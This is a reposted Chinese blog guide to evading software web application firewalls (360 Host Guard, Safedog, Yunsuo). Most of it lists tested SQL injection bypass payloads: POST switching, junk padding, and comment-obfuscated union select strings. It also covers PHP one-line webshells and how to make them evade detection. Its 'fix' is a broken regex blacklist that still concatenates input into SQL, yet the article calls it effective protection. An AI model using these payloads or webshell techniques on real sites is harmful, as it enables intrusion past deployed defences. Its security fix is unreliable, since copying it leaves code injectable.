全方位绕过软WAF攻略
0×00 前言
現在軟waf較為多,就在今年夏天苦逼挖洞的日子里經常遇到360主機衛士,安全狗,云鎖之類的軟waf進行攔截,經常碰到如下攔截提示:
看到以上三個攔截提示就讓人頭疼不已,欲罷不能。
so,就在網上搜索各種繞過waf的資料,終于我結合了網上的文章以及自己的測試思路,寫下了這篇文章。
0×01 數據庫特性
/**/
;
‘
“
#
–
– +
– -
+
-
+、-執行結果:
–、– -、– +、#執行結果:
/**/執行結果:
0×02 攔截情況
SQL注入代碼:
? ? ? header('content-type:text/html;chaset=utf-8');
ini_set('display_errors',1);
$mysqli = new mysqli('localhost', 'root','','ow');
$id = $_GET["id"];
$sql = "select * from news where id=".$id;
$result = $mysqli->query($sql);
if($result === false){//執行失敗
? echo $mysqli->error;
? echo $mysqli->errno;
}
else
{
echo '<h1>'.$sql.'<h1>';
echo '<hr><table border="1px" align="center">';
echo '<tr><th>ID</th><th>a</th><th>內容</th></tr>';
while($row = $result->fetch_assoc()){
echo '<tr>';
? echo '<td>'.$row['id'].'</td>';
? echo '<td>wait</td>';
? echo '<td>'.$row['content'].'</td>';
? echo '</tr>';
}
echo '</table>';
}
$mysqli->close();
30主機衛士測試:
‘:不攔截
“:不攔截
and 1=1:攔截
and 1:不攔截
and 1 like 1:不攔截
and/**/1=1:不攔截
and ’1′=’1′:攔截
and 1<>2:不攔截
union select:攔截
union/**/select:攔截
union(select):攔截
union+form:不攔截
0×03 揣測匹配規則
and匹配規則:
初步設想and匹配規則:
and%20\d+=\d+:
根據以上正則,\d+是匹配多個數字,但是將數字改成字符串后還是被攔截。
進階設想and匹配規則:
and%20(.)+=(.)+:
本次設想規則,也可以證實了上述測試中的and 1=1,將請求包中的and%20′s’='s’改為and/**/’s'=’s',360主機衛士不會攔截
同樣的將and/**/’s'=’s'改為and+’s'=’s’
咱們同樣將and+’s'=’s'改為and+1=1
這樣咱們進階設想and 1=1的匹配規則就可以相對來說是成立的,既然可以用這樣的形式來進行繞過,咱們可以得出一種過waf的姿勢了
我們可以使用布爾盲注得到網站表中的數據了。
首先來查看庫名:
語句and+’ow’=database/**/()
查出了相對應的庫名ow
當然咱們主要是以繞過軟waf為主,所以這里的布爾盲注就不做詳細的測試了
union select匹配規則
初步設想union%20select%20\d+,\d+
咱們還是將%20替換掉,改為union+select+1,2
初步設想失敗,咱們繼續測試
進階設想:
union(.)+select(.)+\d+,\d+%20
這里還是匹配到了,基本上對于這樣的匹配規則,已經是無從遁形了
我們的設想幾乎沒有任何錯誤,union select的匹配規則相對的來說基本上是這樣了。
0×04 提交方式繞過
可以看到數據包都是以GET方式傳遞的,咱們將GET提交方式改為POST,看看結果如何:
可以看到這里咱們將攻擊PYLOAD執行過去之后,并沒有被攔截,這個原理很簡單,程序首先判斷是什么方式請求
然后對應的攔截請求,我們發送POST請求的時候,在請求體中沒有發現惡意攻擊請求,然而并沒有檢測url上的攻
擊POLOAD,所以就直接繞過了360主機衛士。當然不單單只是360主機衛士存在這個問題。
云鎖:
GET請求
POST請求
到此繞過360主機衛士就有了兩種姿勢,云鎖也得到了1個姿勢,最便捷的一個姿勢
0×05 資源限制角度繞過
這是眾所周知、而又難以解決的問題。如果HTTP請求POST BODY太大,檢測所有的內容,WAF集群消耗太大的CPU、內存資源。因此許多WAF只檢測前面的幾K字節、1M、或2M。對于攻擊者而然,只需要在POST BODY前面添加許多無用數據,把攻擊payload放在最后即可繞過WAF檢測。
360安全衛士測試,將sql注入代碼里的$GET["id"]改為$POST["id"],接著測試:
還是會被攔截,我們在攻擊pyload之前加入較多的無用字符
我在攻擊Pyload之前加入了789個字符后,360主機衛士并沒又進行攔截,然后咱們將這里的無用字符用/**/包裹起來
我們將這里的無用字符精簡一下,精簡之后到485個字符及可繞過360主機衛士。
我們再來看看云鎖
云鎖遇到POST請求直接不用繞了。
安全狗:
安全狗的以這樣的方式與360主機衛士類似。到此處為止360主機衛士有了3種姿勢,安全狗有了第一種姿勢,云鎖有了兩種姿勢。
0×05 測試安全狗、云鎖用/**/繞過
我們已以數據庫特性為主來進行測試,//執行出來就是一個空格,用//對安全狗、云鎖來繞過并注入
對安全狗測試:
Pyload:union//select//1,2
Pyload:union/*********/select/*********/1,2
測試到這里咱們在Pyload中加入字母,符號等等一些東西
Pyload:union/**sssssssssssssssss”‘*****/select/*****sssssssssssssssss”‘****/1,2
使用當前pyload成功的繞過了安全狗,咱們精簡下pyload:
Pyload:union/**“‘*****/select/*****”‘****/1,2
當我們將字符去掉之后,被攔截了,說明安全狗在匹配/**/的時候,會匹配符號不會匹配字符,改下Pyload
Pyload:union/**s*****/select/*****s****/1,2
我們將這個*精簡一下,得到如下Pyload
Pyload:union/s**/select/s**/1,2
對于安全狗使用/*/繞過的時候,右邊的必須大于或等于2個*號,中間的字符串必須大于或等于1個字母的時候即可繞過安全狗
云鎖測試:
根據以上測試安全狗的姿勢來測試云鎖/*s**/
Pload:union/s**/select/s**/1,2
我們改一下Pyload,給它加上符號試試
Pyload:union/s’”/select/s’”/1,2
成功繞過云鎖,精簡下Pyload
Pyload:union/’/select/’/1,2
對于云鎖用/**/繞過的時候只要在其中加入‘就可以繞過
通過上面的繞過姿勢,當360主機衛士、云鎖、安全狗結合在一起的時候可得出如下姿勢
Pyload:union/w’**/select/w’**/1,2
并將以上pyload通過post方式提交及可繞過。
0×06 SQL注入漏洞修復
<?php
? header('content-type:text/html;chaset=utf-8');
? ini_set('display_errors',1);
? $mysqli = new mysqli('localhost', 'root','','ow');
? $id = $_GET["id"];
? $sql = "select * from news where id=".$id;
? $result = $mysqli->query($sql);
? if($result === false){//執行失敗
? ? ? echo $mysqli->error;
? ? ? echo $mysqli->errno;
? }
? else
? {
? ? ? echo '<h1>'.$sql.'<h1>';
? ? ? echo '<hr><table border="1px" align="center">';
? ? ? echo '<tr><th>ID</th><th>a</th><th>內容</th></tr>';
? ? ? while($row = $result->fetch_assoc()){
? ? ? ? ? echo '<tr>';
? ? ? ? ? echo '<td>'.$row['id'].'</td>';
? ? ? ? ? echo '<td>wait</td>';
? ? ? ? ? echo '<td>'.$row['content'].'</td>';
? ? ? ? ? echo '</tr>';
? ? ? }
? ? ? echo '</table>';
? }
? $mysqli->close();
?
?>
修復之后:
<?php
? header('content-type:text/html;chaset=utf-8');
? ini_set('display_errors',1);
? $mysqli = new mysqli('localhost', 'root','','ow');
? $id = injection_defense($_GET["id"]);
? $sql = "select * from news where id=".$id;
? if($id)
? {
? ? ? $result = $mysqli->query($sql);
? ? ? if($result === false){//執行失敗
? ? ? ? ? echo $mysqli->error;
? ? ? ? ? echo $mysqli->errno;
? ? ? }
? ? ? else
? ? ? {
? ? ? ? ? echo '<h1>'.$sql.'<h1>';
? ? ? ? ? echo '<hr><table border="1px" align="center">';
? ? ? ? ? echo '<tr><th>ID</th><th>a</th><th>內容</th></tr>';
? ? ? ? ? while($row = $result->fetch_assoc()){
? ? ? ? ? ? ? echo '<tr>';
? ? ? ? ? ? ? echo '<td>'.$row['id'].'</td>';
? ? ? ? ? ? ? echo '<td>wait</td>';
? ? ? ? ? ? ? echo '<td>'.$row['content'].'</td>';
? ? ? ? ? ? ? echo '</tr>';
? ? ? ? ? }
? ? ? ? ? echo '</table>';
? ? ? }
? }
? $mysqli->close();
? function injection_defense($str)
? {
? ? ? if(preg_match('/[all|select|union|update|delete|\/|*| |and|ascii|form|where|=|\'|"|order]+/i', $str))
? ? ? {
? ? ? ? ? echo '請勿惡意攻擊';
? ? ? }
? ? ? else
? ? ? {
? ? ? ? ? return $str;
? ? ? }
? }
?>
這樣就可以很有效的防止SQL注入
0×07 PHP一句話原理分析
PHP一句話原型:
?
?
一句話的原型可分為兩部分
?
@eval():函數部分
$_POST["ceshi"]:傳值部分
?
原理分析:
在還沒有接觸編程的時候,很想知道為什么一句話木馬功能這么齊全呢?既可以上傳文件也能下載文件,還能寫入文件,這是為什么呢?
咱們以這個寫入文件為主,其實實現各種功能都是使用語言中的內置函數來完成該功能。
file_put_contens():寫入文件操作
函數使用file_put_contents(文件名,文件內容) 執行之后,當前目錄中就出現了shateaa.php文件,訪問看看是不是輸出為1
0×08 PHP免殺一句話編寫
?
?
根據以上查殺情況,我們得出一個結論:單個代碼執行的函數安全狗是不會殺的, 只有當有了外界的可控傳參的時候才會被殺掉。
咱們繼續來測試,既然已經知道了,我們就可以就事論事,不讓軟waf檢測到我們有傳參即可
?
? ?
可繞過安全狗,360主機衛士。盡量不要使用eval代碼執行函數,要使用和他功能相同的assert()函數,能完成相同的功能
?
0×09 關鍵字函數替換
通過GET傳遞函數會被匹配到360主機衛士的關鍵函數里,所以我們只需要改為phpinfo/**/(),這樣就可以繞過
通過POST傳遞關鍵函數可以直接繞過
0×10 總結
一個好WAF并不是吹出來的,而是實踐出來的。研究waf的繞過,并不是為了去攻擊某某網站,而是為了提高waf的防御能力。
當然我們不能僅僅停留在一個層面上,更要明白其漏洞原理,在代碼層面上就將其修復,而不是事事靠第三方軟件的防御。究其
根本也希望做waf的廠商看到此類文章,修復自己waf存在的問題。
轉載于:https://www.cnblogs.com/h2zZhou/p/7735152.html
總結
以上是生活随笔為你收集整理的全方位绕过软WAF攻略的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: ALV添加文字输入框
- 下一篇: git设置忽略文件和目录